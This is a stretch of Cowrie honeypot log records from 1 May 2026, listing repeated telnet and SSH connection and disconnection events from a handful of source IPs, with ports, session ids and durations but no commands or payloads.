{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:55.092358Z","src_ip":"80.94.92.168","session":"62277d5897f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73201608657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:55.268811Z","src_ip":"80.241.210.166","session":"a26f9bcad7bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.130071878433228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:55.334932Z","src_ip":"162.241.141.97","session":"b19f444ed347","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45736,"dst_ip":"159.203.135.109","dst_port":23,"session":"09ccf3c676d4","protocol":"telnet","message":"New connection: 192.119.108.58:45736 (159.203.135.109:23) [session: 09ccf3c676d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:55.858482Z"}
{"eventid":"cowrie.session.closed","duration":30.254807472229004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:56.151004Z","src_ip":"192.119.108.58","session":"d642e646d289","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":58330,"dst_ip":"10.17.0.5","dst_port":23,"session":"e726ad259a1a","protocol":"telnet","message":"New connection: 50.6.231.162:58330 (10.17.0.5:23) [session: e726ad259a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:56.461303Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.231.162","src_port":58334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3d8c1772778","protocol":"telnet","message":"New connection: 50.6.231.162:58334 (10.17.0.5:23) [session: a3d8c1772778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:56.476714Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47172,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d22850f740b","protocol":"telnet","message":"New connection: 192.119.108.58:47172 (159.203.135.109:23) [session: 1d22850f740b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:57.286724Z"}
{"eventid":"cowrie.session.closed","duration":30.263057708740234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:59.122070Z","src_ip":"162.241.141.97","session":"2908c8621cde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":58666,"dst_ip":"159.203.135.109","dst_port":23,"session":"a931880b1a7f","protocol":"telnet","message":"New connection: 162.241.141.97:58666 (159.203.135.109:23) [session: a931880b1a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:22:59.441355Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":60900,"dst_ip":"159.203.135.109","dst_port":23,"session":"0904387829f2","protocol":"telnet","message":"New connection: 162.241.141.97:60900 (159.203.135.109:23) [session: 0904387829f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:00.367189Z"}
{"eventid":"cowrie.session.closed","duration":31.302737951278687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:00.529470Z","src_ip":"162.241.141.97","session":"0c4c3b30e2d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.633010387420654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:01.764104Z","src_ip":"162.241.141.97","session":"53d497372b85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.430238723754883,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:02.100662Z","src_ip":"192.119.108.58","session":"5cc44cf653c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33220624923706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:02.521055Z","src_ip":"192.119.108.58","session":"2c682510d43b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023592233657837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:05.166028Z","src_ip":"192.119.108.58","session":"452d167a40f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":54170,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e6664bf3c47","protocol":"telnet","message":"New connection: 192.119.108.58:54170 (159.203.135.109:23) [session: 7e6664bf3c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:06.031356Z"}
{"eventid":"cowrie.session.closed","duration":30.659549713134766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:07.088792Z","src_ip":"162.241.141.97","session":"938da58cac4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311909675598145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:08.104283Z","src_ip":"192.119.108.58","session":"1805876a8908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44086480140686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:08.205855Z","src_ip":"192.119.108.58","session":"d4bed9335713","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17295551300049,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:11.002148Z","src_ip":"162.241.141.97","session":"191acdc0c578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.362409114837646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:11.496308Z","src_ip":"192.119.108.58","session":"92176d6d1d9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00191235542297,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:11.957372Z","src_ip":"185.120.125.22","session":"f0ba6c9a7f90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84323024749756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:12.023401Z","src_ip":"162.241.141.97","session":"b8413eb859b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":48568,"dst_ip":"159.203.135.109","dst_port":23,"session":"46aacfbd43ef","protocol":"telnet","message":"New connection: 162.241.141.97:48568 (159.203.135.109:23) [session: 46aacfbd43ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:12.179666Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":58524,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ac382c4454b","protocol":"telnet","message":"New connection: 80.241.210.166:58524 (10.17.0.5:23) [session: 7ac382c4454b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:14.205636Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":59570,"dst_ip":"10.17.0.5","dst_port":23,"session":"518275697dd5","protocol":"telnet","message":"New connection: 80.241.210.166:59570 (10.17.0.5:23) [session: 518275697dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:14.241947Z"}
{"eventid":"cowrie.session.closed","duration":31.269307136535645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:14.548135Z","src_ip":"192.119.108.58","session":"e1b653000b0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35204,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2cc4bd84fb3","protocol":"telnet","message":"New connection: 192.119.108.58:35204 (159.203.135.109:23) [session: d2cc4bd84fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:14.903132Z"}
{"eventid":"cowrie.session.closed","duration":31.077702522277832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:16.233990Z","src_ip":"192.119.108.58","session":"eee8c5864471","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506885290145874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:16.261613Z","src_ip":"192.119.108.58","session":"83af5b47d804","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539519786834717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:17.279625Z","src_ip":"192.119.108.58","session":"17c3f78903e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.374764442443848,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:17.949752Z","src_ip":"192.119.108.58","session":"e20d9e65e1ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":58274,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bf47c11484b","protocol":"telnet","message":"New connection: 162.241.141.97:58274 (159.203.135.109:23) [session: 6bf47c11484b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:18.427761Z"}
{"eventid":"cowrie.session.closed","duration":30.95699906349182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:19.055163Z","src_ip":"162.241.141.97","session":"07d85869c03d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217918157577515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:19.768942Z","src_ip":"192.119.108.58","session":"32b0209b1471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38154,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f569891337","protocol":"telnet","message":"New connection: 192.119.108.58:38154 (159.203.135.109:23) [session: 66f569891337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:19.868400Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":39164,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6924806fa74","protocol":"telnet","message":"New connection: 192.119.108.58:39164 (159.203.135.109:23) [session: c6924806fa74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:19.935844Z"}
{"eventid":"cowrie.session.closed","duration":30.98528218269348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:24.284456Z","src_ip":"192.119.108.58","session":"951060237dea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798451900482178,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:24.453532Z","src_ip":"192.119.108.58","session":"5e243e4cba46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.400892734527588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:26.259244Z","src_ip":"192.119.108.58","session":"09ccf3c676d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599900484085083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:27.076493Z","src_ip":"50.6.231.162","session":"a3d8c1772778","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.640819549560547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:27.102018Z","src_ip":"50.6.231.162","session":"e726ad259a1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211456060409546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:28.498066Z","src_ip":"192.119.108.58","session":"1d22850f740b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48522,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f515e81ed34","protocol":"telnet","message":"New connection: 192.119.108.58:48522 (159.203.135.109:23) [session: 6f515e81ed34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:29.774122Z"}
{"eventid":"cowrie.session.closed","duration":31.465210437774658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:30.906466Z","src_ip":"162.241.141.97","session":"a931880b1a7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49248,"dst_ip":"159.203.135.109","dst_port":23,"session":"66d30ebb3e56","protocol":"telnet","message":"New connection: 192.119.108.58:49248 (159.203.135.109:23) [session: 66d30ebb3e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:31.506545Z"}
{"eventid":"cowrie.session.closed","duration":31.531772136688232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:31.898788Z","src_ip":"162.241.141.97","session":"0904387829f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48590,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8feaee53aa4","protocol":"telnet","message":"New connection: 192.119.108.58:48590 (159.203.135.109:23) [session: f8feaee53aa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:32.827605Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":51790,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aec7475556c","protocol":"telnet","message":"New connection: 192.119.108.58:51790 (159.203.135.109:23) [session: 0aec7475556c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:33.396082Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52580,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdcdfb54b9a7","protocol":"telnet","message":"New connection: 162.241.141.97:52580 (159.203.135.109:23) [session: fdcdfb54b9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:34.639619Z"}
{"eventid":"cowrie.session.closed","duration":31.751612186431885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:37.782852Z","src_ip":"192.119.108.58","session":"7e6664bf3c47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53220,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7170800e654","protocol":"telnet","message":"New connection: 192.119.108.58:53220 (159.203.135.109:23) [session: c7170800e654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:38.136216Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":37950,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2160acde96d","protocol":"telnet","message":"New connection: 80.241.210.166:37950 (10.17.0.5:23) [session: e2160acde96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:42.722849Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58456,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9da9c6e4409","protocol":"telnet","message":"New connection: 192.119.108.58:58456 (159.203.135.109:23) [session: f9da9c6e4409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:42.874460Z"}
{"eventid":"cowrie.session.closed","duration":31.02111029624939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:43.200498Z","src_ip":"162.241.141.97","session":"46aacfbd43ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59096,"dst_ip":"159.203.135.109","dst_port":23,"session":"c72389ae1b1f","protocol":"telnet","message":"New connection: 192.119.108.58:59096 (159.203.135.109:23) [session: c72389ae1b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:43.655425Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":39864,"dst_ip":"10.17.0.5","dst_port":23,"session":"314ddec6798d","protocol":"telnet","message":"New connection: 80.241.210.166:39864 (10.17.0.5:23) [session: 314ddec6798d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:44.250383Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59574,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e9a83463c4c","protocol":"telnet","message":"New connection: 192.119.108.58:59574 (159.203.135.109:23) [session: 3e9a83463c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:44.387859Z"}
{"eventid":"cowrie.session.closed","duration":30.139589548110962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:45.042584Z","src_ip":"192.119.108.58","session":"d2cc4bd84fb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.882768630981445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:45.124593Z","src_ip":"80.241.210.166","session":"518275697dd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":59612,"dst_ip":"159.203.135.109","dst_port":23,"session":"359fda6d7cb6","protocol":"telnet","message":"New connection: 192.119.108.58:59612 (159.203.135.109:23) [session: 359fda6d7cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:45.416131Z"}
{"eventid":"cowrie.session.closed","duration":31.218574285507202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:45.424001Z","src_ip":"80.241.210.166","session":"7ac382c4454b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":44398,"dst_ip":"159.203.135.109","dst_port":23,"session":"f92902a98563","protocol":"telnet","message":"New connection: 162.241.141.97:44398 (159.203.135.109:23) [session: f92902a98563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:47.536574Z"}
{"eventid":"cowrie.session.closed","duration":31.360464334487915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:49.787828Z","src_ip":"162.241.141.97","session":"6bf47c11484b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574208736419678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:50.509935Z","src_ip":"192.119.108.58","session":"c6924806fa74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71762466430664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:50.585910Z","src_ip":"192.119.108.58","session":"66f569891337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":34140,"dst_ip":"159.203.135.109","dst_port":23,"session":"77215e8605d8","protocol":"telnet","message":"New connection: 192.119.108.58:34140 (159.203.135.109:23) [session: 77215e8605d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:50.800194Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":35964,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa5ffede3cc5","protocol":"telnet","message":"New connection: 192.119.108.58:35964 (159.203.135.109:23) [session: aa5ffede3cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:51.104456Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52478,"dst_ip":"159.203.135.109","dst_port":23,"session":"542b0b8fd76e","protocol":"telnet","message":"New connection: 162.241.141.97:52478 (159.203.135.109:23) [session: 542b0b8fd76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:53.143773Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38248,"dst_ip":"159.203.135.109","dst_port":23,"session":"97b974079701","protocol":"telnet","message":"New connection: 192.119.108.58:38248 (159.203.135.109:23) [session: 97b974079701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:53.644908Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":53710,"dst_ip":"10.17.0.5","dst_port":23,"session":"afa84e84e728","protocol":"telnet","message":"New connection: 80.241.210.166:53710 (10.17.0.5:23) [session: afa84e84e728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:55.125376Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":55392,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c282884f9b6","protocol":"telnet","message":"New connection: 80.241.210.166:55392 (10.17.0.5:23) [session: 6c282884f9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:56.673016Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":40460,"dst_ip":"159.203.135.109","dst_port":23,"session":"dce32a1c6555","protocol":"telnet","message":"New connection: 192.119.108.58:40460 (159.203.135.109:23) [session: dce32a1c6555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:23:57.486709Z"}
{"eventid":"cowrie.session.closed","duration":30.76983618736267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:00.543821Z","src_ip":"192.119.108.58","session":"6f515e81ed34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766454219818115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:02.272875Z","src_ip":"192.119.108.58","session":"66d30ebb3e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85337996482849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:03.680757Z","src_ip":"192.119.108.58","session":"f8feaee53aa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64089870452881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:05.036846Z","src_ip":"192.119.108.58","session":"0aec7475556c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47302,"dst_ip":"159.203.135.109","dst_port":23,"session":"d84f885ec977","protocol":"telnet","message":"New connection: 192.119.108.58:47302 (159.203.135.109:23) [session: d84f885ec977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:05.476997Z"}
{"eventid":"cowrie.session.closed","duration":30.89294934272766,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:05.532333Z","src_ip":"162.241.141.97","session":"fdcdfb54b9a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46992,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb6f818b870","protocol":"telnet","message":"New connection: 192.119.108.58:46992 (159.203.135.109:23) [session: dcb6f818b870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:06.072067Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.241.210.166","src_port":41198,"dst_ip":"10.17.0.5","dst_port":23,"session":"30b8318d7833","protocol":"telnet","message":"New connection: 80.241.210.166:41198 (10.17.0.5:23) [session: 30b8318d7833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:08.932140Z"}
{"eventid":"cowrie.session.closed","duration":30.924720287322998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:24:09.060787Z","src_ip":"192.119.108.58","session":"c7170800e654","protocol":"telnet"}
